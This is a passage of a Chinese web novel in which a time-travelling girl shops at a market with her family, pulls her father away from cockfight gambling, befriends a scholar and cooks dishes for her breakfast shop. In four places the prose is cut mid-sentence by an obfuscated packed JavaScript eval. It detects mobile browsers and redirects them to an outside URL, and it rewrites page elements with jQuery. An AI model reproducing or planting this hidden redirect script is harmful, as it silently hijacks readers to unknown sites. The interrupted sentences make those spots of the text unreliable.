说到这闵晞也有些好奇，她还没有在外面吃过真正古代人做的饭食呢。每天听他们说自己的手艺好，但是闵晞也没对比过。 这下可有机会了。 几人步行快到了集市，还没等进去，里面就已经传来了商贩们铺天盖地的吆喝声，比起以往都要声势浩大。 待几人走近，石板路上挤满了大批前来赶集的人，犹如过江之鲫，往来不绝。街道两旁的摊主们都热情地朝着来往的人群兜售着货物，同样的讨价声音也是此起彼伏。闵晞目光所及之处，真是令人眼花缭乱，目不暇接。 可谓是一派熙熙攘攘的繁华景象，烟火气十足。 几人四处闲逛着，瞧着摊位上多了不少往日没见过的稀奇玩意，引得人啧啧称奇。尤其是在见到卖艺的汉子们敲锣打鼓赤着胳膊表演杂技的时候，闵晞更是看得目不转睛。 除此之外，挑担的货郎正挑着刚从地里采来的新鲜蔬菜瓜果，大声叫卖着；鱼摊上的刚打上来的鱼还在木盆里欢快地扑腾，全然不知自己接下来的命运；卖风筝的大爷筐子里放着好几只鲜艳的风筝，抬头一看，天上还放了三个；一旁的少女正用篮子装着漂亮的鲜花，吸引附近的姑娘妇人们来看；果摊上色泽鲜亮的水果正散发着迷人的果香，等人来带回家；卖糖画的老人正勾勒出一只漂亮的喜鹊，引得一旁的小孩连连称赞。 除此之外，各种各样的小吃摊紧密相连，鳞次栉比，刚出炉的食物所散发的勾人香味让本就没吃饭的四人垂涎欲滴。 “咱们先去吃饭吧？”闵达彬四下看着那些吃食：“东西等过会再来买也行。” 闵晞点点头和家人一同选了家店进去，一同坐下。 闵达彬选了一份羊肉汤饼，闵彦要了份肉羹和蜜酥饼，母亲要了一份杂粮粥和腌菜，闵晞则要从隔壁要了份清汤小馄饨端过来吃。 热食下肚，瞬间填满了空荡荡的胃。 闵达彬许久没吃汤饼，这羊肉一下肚，身体顿时热了起来。闵彦也是低头猛吃，那蜜酥饼被他一口气吃了三块。 看家人如此吃相，闵晞感叹确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15589869|171847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实是饿了，便也低头吃起了自己点的小馄饨。 这古代的小馄饨和现代的还有些许不同，首先造型就不一样。 现代的馄饨大多是元宝形，现在闵晞吃的馄饨更像是偃月形，个头也偏小。 里面则是简单的肉馅辅以葱姜蒜调味去腥增香，不像现代有多种口味的馅料。不仅食材繁多，营养也更丰富。 除此之外，古代一般就只有水煮这一种做法。现代的话不仅有清汤的、也有红汤、干拌等多种吃法。 虽然不像现代开发出了那么品种，但这古代没有加科技的小馄饨吃起来也不错。 闵晞一个接一个吃着小馄饨，顺带也尝了尝闵彦选的蜜酥饼。 可以的，这很甜，而且糖太粗了。 闵晞吃了一口就放下了，还是她的小馄饨好吃。 “这羊肉要是再多一点就好了。”喝了大半碗的闵达彬抬头：“就那么几块，实在是不够吃。” “爹爹要是想吃，回头有空我去买些来家里自己做。” 闵晞本来对羊肉无感，但是这碗羊肉做得实在是太膻了，让闵晞有些退避三舍。 如果是她的话，一定不会如此浪费。 饭后，几人商议着分开采买，因着闵彦和闵达彬都有想买的东西，闵晞便给了他们钱，让他们省着点花，并约好一个时辰后在集市中心的那家酒楼见面。 “走吧母亲，”见人走远了，闵晞回头对陶淑苑道：“咱们买的还多着呢。” 说这话，几人先去了布坊，陶淑苑给每人都挑了一匹布料。闵达彬是藏青色的，闵彦则是苍蓝色，她自己是赤褐色，闵晞则是鹅黄色。 “等回去了，我给你们裁剪新衣裳出来。”陶淑苑摸着崭新的布料，眼里笑意满满。 “行的，母亲咱们再去看看鞋子。” 等二人看完了布料和鞋子，又去看了看卖碗筷的店铺。 筷子就买普通的竹筷子便可，碗的话闵晞和母亲走了大半个集市，货比三家，最后定了其中一家店的白瓷碗。陶淑苑同店家讨价还价，最后以每碗便宜一文钱的价格拿下，并约好明日送到铺子上去。 看着赚的钱同流水一般花了出去，陶淑苑虽有几分不舍，但总归是给铺子添置新东西，所以心里还是开心的，同样闵晞也是。 忙完这件事后，闵晞路过一家书墨斋，得知这是一家卖纸墨笔砚的店。 说来惭愧，闵晞穿越到这个世界后，虽然能听能说，能看懂这个朝代的字。可是虽然能看懂，但因为是用毛笔写，所以写出来实在是丑了点。 不过这也不能怪她，要怪就怪古代的字实在是太难写了。 所以今天路过这书墨斋，闵晞想进去买两本字帖，等在家没事的时候练练。 看出了女儿的意愿，陶淑苑道：“那我去隔壁看看被子，你在这看看。” 闵晞进了书墨斋，见铺子虽然不大，但是很精致。因着家里还有以前闵彦写字用剩的笔墨纸砚，所以闵晞只需要买字帖就好。 可她不太懂这些，这每个人的字体都有不同的特点，她应该临谁的好呢？ 正当闵晞左看右看不知道如何下手之际，旁的一道声音响起。 “姑娘可是有不解的地方？” 8. 第 8 章 比起脸更先听到的是声音，和身上夹杂着的淡淡墨香。 闵晞回头一看见一名书生打扮的男子正望着她和手里的字帖。 小伙子看着年纪不大，身形修长，比她哥哥还要高一些。身上穿着一身洗得近乎发白的青布长衫。衣裳虽旧，袖口处也有缝补的痕迹，但很干净。 闵晞见这男子眉如远山，一双眼睛却极有神采。头发梳得一丝不苟，只用一根普通的木制簪子固定，露出了光滑的额头，也让他整个人看起来清清爽爽。 见人打扮干净，闵晞下意识便对他有了两分好感。 “姑娘勿怪，”见闵晞一直没说话，男子主动介绍：“我叫符黎，是一名进京赶考的书生，经常会来这家书墨斋置办些东西。今日凑巧过来见姑娘在此徘徊许久，于是便想是不是碰到了什么难处？” 见他回答彬彬有礼，闵晞也如实相告：“我叫闵晞，实不相瞒，幼时家贫没读过几本书，最近有了些闲钱想买一些字帖回去临摹，不知公子可有推荐？” 听见闵晞的回答后，符黎点点头，“有求知的愿望这很好，我娘亲也会读书习字，幼时经常教导我读书，还告诉我女子读书并不比男子差。” 说着他看了看那些字帖，挑了几本出来给闵晞：“闵姑娘如果想临帖的话，那在下建议可以看看褚遂良褚先生的字，褚先生书法灵动秀逸，线条流畅优美，整体大方优雅。如果是女子练习的话，他的《孟法师碑》和《雁塔圣教序》等著作，都是很好的范本。” “除此之外，鼎鼎有名的欧体和颜体也很适合拿来临帖，两者风格皆有不同，就看闵姑娘喜欢哪种。” 听了他的介绍，闵晞又对比了几人字体的特点，最后选了褚先生的字。 “谢谢符公子的介绍。”付钱后闵晞谢过符黎。 “我在距离集市不远处开了家早点铺，如果公子愿意可来店里品尝一番，权当谢过公子今日的指教。” 说完又告诉了他具体的位置。 符黎听闻有些惊叹：“想不到姑娘小小年纪居然已经开了店，可真让人佩服。” “公子说笑了，”闵晞解释着：“铺里还有母亲一同帮忙，要不然独自一人怎么可能开得起来。” 二人正聊着，旁边一小厮打扮的人走了过来，手里还提着什么：“公子，您可让人好找，这饴酥坊您是不知道多难排队，等了许久可终于被我买到了。” 说完闵晞也顺着看了看那小厮手上沉甸甸的糕点。 符黎拍了拍头：“怪我，一时闲逛就到了这里，也没和你说。” 小厮摇摇头：“您就去那么几个地方，我一找就找到了。” 聊到这，符黎转过头对闵晞道：“我才来不久，听说这饴酥坊的糕点很是好吃，遂准备买点去拜访一位夫子。” 听他还有事要忙，闵晞也不多话：“那公子早些去吧，有空可来铺子吃些早点。” 二人打过招呼后，闵晞去寻了母亲，发现她不仅买好了被子，还买了不少菜。闵晞扫了一眼，就已经想好了今天要做的饭。 估摸着时间快到了，闵晞母女到了酒楼，只是这左等右等都等不到父子二人。随后眼尖的闵晞在酒楼斜对面的一家茶坊见到了正站在最外面，听故事听得津津有味的闵彦。 闵晞低头一看发现闵彦手上拿了不少东西。只是这买的东西不外乎就是一些果脯蜜饯，瓜子花生一类的吃食。 于是闵晞上前敲了敲他的脑袋：“你爹呢？” “娘，妹妹。”闵彦回头：“我中途和爹爹分开了，兴许又是老毛病犯了，去哪里看斗蛐蛐去了吧？” 闵晞一脸恨铁不成钢的样子，随后把身上新买的最大最沉的被子递给了他：“你把这些买的东西先抱回去吧，我和娘寻着爹就回去。” 于是闵彦全身抱地满满当当，一脸愤愤：“早知道买那么多东西我们就借辆骡子车来了，这我一个人怎么抱得动……” “没让你拿布匹和鞋子都不错了。”闵晞回怼道：“快些回家去。” 说话间闵晞和陶淑苑已经开始满大街找起了闵达彬，最后不出所料，两人在一处露天的斗鸡场所碰见了大声叫嚷的爹爹。 彼时爹爹根本没看见她们，正蹲在地上目光死死盯着面前两只正打得热闹的大公鸡。 “好好！就这个势头，快些啄它眼睛！” 闵晞见那两只大公鸡，皆是威武雄壮，同一般的肉鸡完全不一样。公鸡羽毛鲜艳夺目，在太阳的照耀下像是上等的锦缎一样流光溢彩。鸡冠火红夺目，随着啼叫和走动来回抖动着。尤其是两双尖锐的爪子，看着就骇人。人要是不小心被抓了，指不定要出血。 不过这么大的爪子拿来做虎皮凤爪倒是不错。 正当闵晞美滋滋地想着吃食之际，两只公鸡的打斗已经进入了白热化状态。 她不懂这个，只觉得这打斗确实精彩，大有个不争个你死我活誓不罢休的气势。也正好应了那首诗：利爪探玉除，瞋目含火光。长翘惊风起，劲翮正敷张。[1] 只是这斗鸡越是精彩，陶淑苑就越是生气。没等结局出来，她就拽着闵达彬的耳朵把人拖了出来。 “谁谁？你们怎么来了？”正在兴头上的闵达彬突然被打扰，本来面露不满，却在见到了闵晞母女后，态度一下转变。 “你们怎么来了？东西都买完了？”闵达彬试探性问道。 “早就买完了，倒是爹爹你怎么又去赌了？”闵晞一本正经道。 闵达彬看女儿面露不满，娘子也是一脸皱眉，闵达彬这赶忙解释：“我这逛了逛，也没什么想买的。结果一不留神见这里在斗鸡就跟着看了会……” “那钱呢？”陶淑苑追问道：“分散时给了你些钱，这会在哪？” 说到这闵达彬立马抬起头，异常兴奋道：“我正想说这事呢，我就玩了一把，结果就赢了。你看这多出来的钱，就是我刚刚赢来的。” 说着闵达彬献宝似的从兜里把钱抓了出来，满脸的得意。 “今天运气好，所以赢了呢，你们别担心……” 陶淑苑叹了口气：“赢了也就罢了，但这毕竟是少数，你啊还是别玩了，早些和我们回家吧。” 听到要回去，闵达彬赶忙道：“再等会呗，这场马上就要结束了，我赌这把也一定会赢……” 闵达彬话没说完，闵晞就收走了他手里的钱，揣进了自己的荷包里。 “爹爹，这赌的事情可说不清楚。上一把赢了，下一把指不定全盘皆输。所以爹爹还是和我们早些回去吧。” “新买了不少东西还等着收拾呢。” 说完闵晞不管三七二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15589870|171847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十一，直接把闵达彬推着就往外走。 “哎哟晞儿你慢点......等等，能等为父把这局看完吗？这可是给了钱的……” 眼见要走，闵达彬是恋恋不舍望着那两只还在大战的斗鸡，一边又向陶淑苑投去求情的神情，有些干裂的嘴唇也轻颤着。 “淑苑，你劝劝这孩子，让她别再推了。我这可是给了钱的，上一把都赢了，这一把肯定也能赢！” 陶淑苑看着只叹了一口气：“你啊，还是听孩子的话吧，别再赌了。”说着两人一同拉着闵达彬回了家。 回家的路上，闵晞想着幸好及时发现了父亲，险些没让他酿成大祸。于是等回家后，闵晞立马给爹爹和闵彦都派了活，让他们一刻都不能闲下来。 闵达彬虽心里有埋怨和不满，但在看见女儿做的丰盛晚饭后，气已经消了一大半。 因为回来也不早了，闵晞便做了些快手菜，把大米洗净用水浸泡两刻钟后，又往里面打了两个鸡蛋、一根胡萝卜、适量豌豆和几朵香菇，以及母亲思虑许久才决定买的一小块腊肉。被闵晞拿来切了半块，把切得薄薄的肉片一同铺了上去。 饭里还放了三勺生抽，一勺老抽和适量的油，接着开煮。 之后闵晞还做了个凉拌菠菜。先是把水烧开放入菠菜和少许盐，只需等上一等就可以把菠菜捞出来。再把提前用蒜末、白芝麻、茱萸粉和生抽、醋调制而成的酱汁往上一倒，一道爽口的凉拌菠菜就做好了。 为了让菜更好看，闵晞还放了几颗油炸过的花生用以点缀。 菜做好了，饭也煮好了。闵晞揭开锅盖，见腊肉被焖出来的油脂覆在米上，使得米粒颗颗饱满油亮。再用饭勺一搅拌，酱汁也均匀地包裹住每一粒米，看的人馋虫都出来了。最后再往上放一小把葱花，这美味的腊肉焖饭就做好了。 有这等美食，闵达彬也顾不得生气，端起碗就坐下干饭。闵晞本来多煮了一点饭，想留店出来明天和母亲带去铺子上吃。结果父子二人硬生生把那腊肉焖饭给吃得干干净净，一点没留。 “这焖饭实在是好吃，就是肉少了点。”闵达彬放下筷子，剔着牙：“应该把那腊肉全给切了放进去。” “父亲如果以后老老实实的，家里一定能多买点肉。” 被女儿这么一批，闵达彬也嘟囔着：“我今天不是赚了些钱嘛……” “就算今天赚了，和以前输的相比，父亲你还是亏了不少钱。” 闵达彬被批得有些没面子，便伸手吃起了闵彦买的果脯。 “行行行，你们说什么都是对的，我说不过你们母女……” 虽然心里还是有些不满，但等闵达彬回房看见新买的布匹和被子后，瞬间把那一丝的不满给忘到九霄云外去了。 “这是新买的被子？那旧的，旧的就不要了？”闵达彬摸着松软轻薄的新被子，一遍又一遍地抚摸着，很是爱不释手。 “哎哟这是新买的布？还有鞋子？！我这是要有新衣服穿了？”摸了摸新被子，闵达彬又瞧见放在旁边的布匹和鞋子，嘴角一时半会都没合上，有些粗糙的脸瞬间舒展开来。 “被子用太久了，就算卖给街角的收货郎他也不会要，改天烧了吧。” “至于这布匹，明天我给你和闵彦量一量，抽空给你们裁出一身新衣裳来。” 9. 第 9 章 陶淑苑办事很是利索，虽然白日里还在和闵晞忙铺子上的事，但衣服也是很快就缝制出来了。闵达彬和闵彦因为有了闵晞的照顾，颧骨上也多了点肉，看着不再那么瘦骨嶙峋，整个人气色都好了不少。 再加上这新衣服新鞋子一穿，看着跟变了个人似的。 闵晞也是，以往跟个瘦猴子一样，脸颊凹陷，皮肤蜡黄。到了这里后，因为每天天一黑就睡了，白天天不亮又起来了，作息十分规律。加上吃的都是纯天然无添加的食物，瘦弱的身子骨瞧着比以前健康了不少。皮肤也变好了，这会子像将熟的水蜜桃般透着健康的光泽。 之前量身子的时候，闵晞还惊喜地发现自己长高了一点。这会儿子穿上了母亲新做的衣衫，陶淑苑看了连连称赞。 “我的女儿真是长大了，竟变得这般好看，看看这头发，都比以前黑了不少。再看看这脸蛋，也漂亮了不少……” 陶淑苑这么朴实无华地一夸，倒让闵晞有些害羞了。 说着陶淑苑见女儿虽然换了新衣，模样也有了大变化，但看着女儿不施粉黛，身上无一点装饰的样子，还是叹气道：“以后等有钱了再去给你买点头油脂粉一类的东西，女孩子还是要会打扮打扮。” “为娘身上也没几件能出去见人的首饰，只有一个压箱底的镯子和一对耳环，一支簪子，想等你出嫁的时候再给你的……” 闵晞听了满不在乎道：“娘，现在说这些干什么，咱们家比起以前不是好多了吗？之前衣服鞋子都买了，以后衣衫钗环也会有的。” “只要我们一家人齐心协力，日子总会过得越来越好。” 听了闵晞鼓舞的话语，陶淑苑也是十分宽慰。 年轻的时候她也算小家碧玉。只是自从嫁了人，辛苦了大半辈子后，原本还算圆润的脸庞也在嫁人后被岁月侵蚀了数道皱纹。年轻时白皙的肤色也因长年的劳作被晒成了浅麦色。还算灵巧的双手也因为洗衣做饭等杂事有了厚厚的茧子。 虽然也不是没想过和离一事，但她还有两个孩子，她舍不得。所以为了孩子，她愿意日复一日重复着这样枯燥乏味的生活。 本来以为要一直这样辛苦下去，哪知道自己的女儿是如此争气懂事，短短几个月内就让家里发生了巨大的改变。现在陶淑苑每逢出门，都有邻居称赞她有了这样一个好女儿。甚至还有人问起了闵晞的亲事。 想到这些，陶淑苑脸上挂起了真挚朴素的笑容，往日有些佝偻的脊背也挺直了。 她们会慢慢把日子过得更好的。 那天后，闵晞和陶淑苑继续着日常的劳作。期间闵晞还往普通的馒头里加了酒酿，也就是醪糟。这么一加，让本就自带甜味的馒头又多了一丝香甜的酒味。 众人尝了后也是觉得颇有趣味，比起普通的馒头来说确实要更好吃一点。 自然价格也贵了一文。 随着客人的增多，让闵晞意想不到的，竟是某一天符黎真的过来吃饭了。 本来那天闵晞也就是客气一下，顺便为自己家打个广告。原以为像是符黎这样的讲究人也不会专门为了吃食而来。哪知道，那天清晨，正当闵晞揭开蒸笼，热气正往外散去的时候，符黎带着小厮从那袅袅炊烟中走了过来。 “不知闵老板可还记得在下？” 符黎上前主动向闵晞问好。 刚开始闵晞还有些呆愣，因为自她到这来还是第一次有人称呼她为老板。一般小的喊她姐姐，大的都喊闵姑娘或者闵丫头。这老板二字一出，闵晞一是觉得新鲜，二是有种莫名的开心。 毕竟虽然本朝不禁止女子经商，但古代女子出来抛头露面的也是少数。这下被喊了老板，闵晞莫名有种自己被正视的感觉。 闵老板，挺好挺好。 听了这话，闵晞脸上笑意满满，再一看那人的脸，不就正是赶集那日有过一面之缘的小书生吗？ “是符公子？”闵晞有些意外地挑了挑眉。 “正是在下。” 见真是他，闵晞赶忙把人迎了进去，“没想到那日只是随口一说，结果符公子真的有空过来。” “店铺简陋，还请公子不要在意。” 符黎简单看了一圈，脸上并没有其他表情：“哪里哪里，闵老板才是，年纪轻轻就已经帮衬着家里赚钱，实在是厉害。而且在下来也是因为同仁一直有提起过这间无名的早点铺，想来味道应该很不错。” 被人一直夸赞，闵晞有些受不住，连忙转移话题。 “公子想吃些什么早点？这会子都是刚做好的。” 符黎见没有食单：“我也不知道哪些好吃，那就闵老板看着来吧。” 说完闵晞想了想，给他们端去了一个麻酱花卷和椒盐花卷，又端去了两碗豆浆和煮鸡蛋，另配了两道小菜。 符黎吃后，对那花卷很是喜欢，还称赞里面的麻酱醇香浓郁。 一旁的小厮也很喜欢，一口接一口地吃着。 看他们这般喜欢，闵晞又给他们端去了两个南瓜蜜豆馒头。见他们都一点不剩地吃完了，闵晞内心直感叹，心想年轻的小伙子就是能吃。 “闵老板这里的早点不仅新奇，味道也是十分不错，在下还是第一次吃这么有创意的早点。”吃完后的符黎直直夸赞道。 “要是早点知晓就好了。”符黎摇摇头：“说实话，我和双瑞都不善庖厨，所以一般都会在外面吃饭。之前一直在集市附近吃，虽然味道尚可，但日日在外面吃还是有些乏味了，这钱袋也是瘪了不少。” “后面总听私塾的人说距离集市不远的地方有一家不错的早点铺，价格便宜味道又好。我又想起之前与闵老板的聊天，想着莫不是一家店？便抽空过来了。” “不想一看还真是闵老板。” 有人夸赞自己，闵晞当然是开心。在听完那席话后，闵晞笑着收拾着碗筷：“现在知道也不晚，公子喜欢就多来。也可以带走一些拿回家，第二天烧水上锅蒸就好。” 听了闵晞这番话，符黎也道：“那就帮我每样要两份带走吧。” “双瑞，钱袋子。”小厮双瑞听了后连忙把钱拿了出来递给了陶淑苑。 闵晞用油纸把包好的馒头递给了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15589871|171847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双瑞，又对符黎道：“我以后还打算做一些其他的早点，到时候还望二位前来品尝，替我把把关。” “闵老板太客气了。” 自打那天后，符黎还真是隔三岔五就来她店里吃早饭，后面闵晞才了解到符黎如今已是举人，此番进京是为了会试而来。 闵晞对科举考试了解得不多，只知道像王自易，范正这样的十三四岁的小孩，只能算作童生。只有通过童生考试以后，才有资格参加科举考试，进而求取功名。 等到考中了秀才，才能继续往上参加更高级别的应试。如果你在应试了取得了好名次，成为了贡士，那就有了进宫面见圣上的机会。 这种机会可谓是千载难逢。 普通人能有参加会试的资格已经很不容易，加上这会试三年一次，时间是极其珍贵。算算时间，会试的时间一般是在春天举行，所以也叫春闱。眼下距离应试也就不到半年的时间，也怪不得这名考生如此努力。 闵晞上辈子成绩一般，只是个普通的大学生，自然知道这读书的不易与辛苦。眼下见到了古代真正发愤图强，寒窗苦读的学子，心里自然是有几分佩服的。 对他有了更深一层的了解后，闵晞也是对符黎更为钦佩。毕竟和自己哥哥一般年纪大，但却比她那个不靠谱的哥哥懂事多了，真是人比人，气死人。 随着符黎来店里的次数增多，闵晞发现他总是习惯坐在角落里吃饭。虽然脸上表情不多，不过闵晞看见他在吃饭的时候，总是会露出一种近似于满足的神情。 看来他很喜欢自己的手艺。 来的次数多了，铺子里的早点他基本吃过，也没有什么特别的喜好。只是与旁人不同的，闵晞发现他还挺能吃，每次点的分量和庄博不相上下。 不过庄博人能吃是因为要下地干活，但符黎看着一介文弱书生，没想到也那么能吃。 因为他经常来铺子吃饭，闵晞也就顺便向符黎请教自己写的字帖。 她见过符黎写字，有时候在等餐之际，符黎会打开随身携带的布包，从里拿出一本书来翻看，闵晞走近发现书本上还有注解。那时她就发现符黎人如其字，写出来的字如行云流水般清逸俊秀，疏密得当，毫无滞涩之意，令人看了心旷神怡。 不愧是国家选出来的人才。 也难怪闵晞见他右手手指关节处略有变形，偶尔还残留着没擦干净的墨迹，想来没少在这上面下苦功夫。 见闵晞虚心请教，符黎自是义不容辞，一有空就同她细细讲解，甚至还把写得不好的字拆开了一笔一画写给她看。 长久以往，闵晞好像真的觉得自己的字似乎好看了那么一点。 有这样一名负责任的老师在，还不用给束脩，闵晞自是不敢懈怠，学习更加用心，甚至符黎来吃饭的时候，闵晞偶尔会额外赠送他一些食物。 之后符黎还告诉了闵晞他现在的赞助之地，原来就在集市不远的梧桐巷里。那里环境清幽，以种植了大片梧桐树而得名。 “闵老板有需要，可以去梧桐巷子找我。” 闵晞笑着应了。 10. 第 10 章 生意渐渐有了起色后，闵晞除了馒头外还打算做些包子来卖卖。 母亲以前一个人忙不过来，就只做肉包子和菜包子两种馅料的。要想把早点铺开起来还是要品种多元化一点，那样才会吸引更多口味不同的客人来买。 于是当一天忙完后，闵晞并没有忙着回家，而是让母亲去买了些新鲜食材，她打算做一些自己喜欢的馅来吃。 要说这包子可谓是包罗万象，有了皮，里面的馅则是自己想放什么就放什么。今天陶淑苑按着女儿的要求去买来了菘菜、豆角和猪肉等食材，打算跟着女儿一起做做。 闵晞准备今天先尝试一下肉包子的做法。她看着食材，打算分别做菘菜猪肉包子，豆角酱肉包子。至于素包子，改天有空再看了。 要说这做包子也简单，先把菘菜剁碎，之后挤干水分备用。再把一条肥瘦适宜的五花肉去皮，同样剁碎备用。市场上有现成的肉馅买，但闵晞总觉得没有自己做得好。 之后起锅烧油，往里加入切得细细的姜蓉，等炸出香味后，再往里倒入四勺生抽，两勺老抽，和一丢丢白糖以及盐用小火煮开。再倒入肉丁翻炒，等肉馅变色，炒出香味后捞出来放凉。 接着把菘菜也放进肉馅里，再往上面撒一把葱花，搅和搅和后这菘菜猪肉馅就准备好了。 然后就是豆角酱肉馅的准备。 豆角这玩意早在秦朝的中国就有了，《齐民要术》和《四时纂要》里都曾提到过豆角的栽培，现代拿来做饭炒菜更是家常便饭。 闵晞自己就很喜欢吃豆角 做饭也很简单，豆角酱肉馅的做法同菘菜猪肉差不多，只不过要往里面多放一勺甜面酱和豆酱，些许黄酒上色。 肉馅制作完成，然后就是皮了。 这包子皮其实和馒头的做法一致，只不过口感略有不同。馒头更厚实，吃起来更有劲道嚼劲；而包子皮因为要包裹馅料，所以会更薄更柔软一点。 在做馅以前闵晞就把包子皮准备好了，这会她把面团滚刀切成均匀的小剂子，再用擀面杖擀开。擀面的时候要注意要把面皮擀成中间稍鼓，四周较薄的一个状态。用这样的面皮去包，馅不容易漏出来。 接下来就是褶子的打法，一个包子的好看与否，就看自己手法如何了。 等放两勺馅料进去后，记住左手大拇指负责按住馅，右手捏住皮。开始捏的时候先把皮拉上来，再往下推，再往上捏，一边捏一边转。反复循环后，等到收口时，把大拇指取出来，继续一点点地慢慢收口，这样一个漂亮的包子就做好了。 如果中途发现馅料有要跑出来的趋势，可以用勺子压一压或者取出来一点。 同母亲一起完成两种包子后，闵晞正烧着水，打算尝尝这新做的肉包子味道如何，就听见外面传来的声音。 “这么早就收摊了吗？” 闵晞往外一瞧，原来是符黎。 以往符黎都是早上来，今天则是中午才来，自然不知道闵晞这早点铺一般中午之前就卖完歇业了。 “店里只有我和母亲帮忙，所以不会做太多吃食，一般上午就卖完了。空着的铺子父亲下午会来烧些热水让路过的人来喝喝茶吃些糕点。”闵晞对符黎解释着。 “原来如此，以往我去的铺子白日里都是开着的，没想到闵老板这里生意这么好，不到中午就卖完了。”符黎客气着。 “不过今天符公子运气可好，”闵晞抬头示意他看看那正在冒烟的蒸笼。 “我和娘亲今日在做包子吃呢，符公子不嫌弃的话可以坐下等一等。” 听见有包子可以吃，符黎挑眉道：“难道是闵老板之前说的新早点？” 闵晞笑着：“正是，快进来吧，符公子应当还没有吃饭。” 符黎进来后，陶淑苑把擦干净的桌子又擦了一次，为他倒上了茶水，以及早上剩下的煮蛋。 “公子饿的话可以先垫垫肚子。” “陶婶子太客气了。”符黎虽然嘴上说着，但手里还是接过了鸡蛋，碰了碰桌子，开始剥壳。 “读书自是辛苦，像我家那个孩子就一点学不进去。那天听晞儿说你在准备会试，这可是了不得的一件事，符公子自是要多吃些，补补脑子……” 他们谈话的时间，闵晞想着就吃包子的话好似也不太合适，便又动手做了个快手炒禾菜。 先是把粉条用热水烫软，然后起锅放油，烧热后倒入三个鸡蛋，把鸡蛋炒散以后盛出来备用。剩余的油则把葱姜蒜放进去炒香，接着马上倒入一大把豆芽炒断生。再往里放刚刚准备好的鸡蛋和粉条一起炒。 炒的时候沿着锅边放入适量生抽和盐，以及白糖提鲜。炒匀后再放入韭菜保持大火翻炒至变色，等韭菜变成嫩绿色后，再放入一点陈醋就可以出锅了。如果想要颜色好看也可以加入一点老抽。 做好菜的同时，包子也蒸好了，闵晞本想把蒸笼拿下来，符黎却自告奋勇帮忙取了下来。 “这蒸笼烫，闵老板小心着点。”闵晞自然是知道，因为她的手上还曾不小心被烫过两个泡呢。 “谢谢提醒。” 把包子装盘后，闵晞也把禾菜放在了桌子上，招呼着两人过来吃。 “这叫炒禾菜，母亲和符公子试试。” 符黎见这炒禾菜黄绿白褐四色相间，像是形成了一幅漂亮的山水画，忍不住立马尝了一筷子。 只这一口，符黎就大呼好吃。 大火炒出来的禾菜让韭菜和豆芽都保持着最鲜嫩的状态，韭菜挂着晶莹的油珠子，油润却不腻口；爽脆的豆芽每咬一口，都能听见“嘎吱嘎吱”的声响，让人忍不住一筷接一筷；粉丝的滑弹，以及鸡蛋的油香都交织在口中，让人意犹未尽。 明明只是简单的炒菜和普通的调味，却让这道菜的口感如此之丰富，想来这都多亏了厨师高超的技术。 符黎仅吃了一口就爱上了：“好吃，在下还是第一次吃这样的炒菜，实在是好吃。” 见他喜欢，闵晞道：“喜欢就多吃点。” 符黎一点没客气，把那炒禾菜吃了大半。还是闵晞见状递给他一个包子：“尝尝我做的包子，这会凉了应该可以入口了。” 符黎喝了茶水润了润嗓子，吃了那豆角酱肉馅的包子。 蒸好的包子鼓鼓囊囊的，一看就塞了很多馅在里面，甚至还有一些油汁浸透了包子皮。符黎轻轻一咬，薄薄的包子皮就立刻渗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15589872|171847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出了鲜美的油汁，急得符黎赶忙用嘴去接。 入口的包子皮已经浸满了鲜香的油脂，显得晶莹剔透十分可爱。脆嫩的豆角很好地中和了肉馅的油腻感，符黎吃着一点也不觉得腻，很快两三下就解决了一个。 闵晞今儿个只是想试试，所以包子都做得比较大，没想符黎一口气居然吃了两个大包子。 在闵晞意外的目光下，眼见着符黎又要去拿第三个包子。闵晞这才开口对母亲道：“公子真是好胃口。” 她和陶淑苑一人也就吃了一个包子，外加一点炒禾菜，剩下的都给符黎消灭得干干净净。 不过一想到他可能没吃朝食，加上又年轻，要不然闵晞还真怕他撑坏肚子了。 “公子慢点吃。”闵晞给他续上了茶：“慢些吃，包子管够。” 听了这话符黎倒有些不好意思了：“不好意思，在下吃得有些多了。” 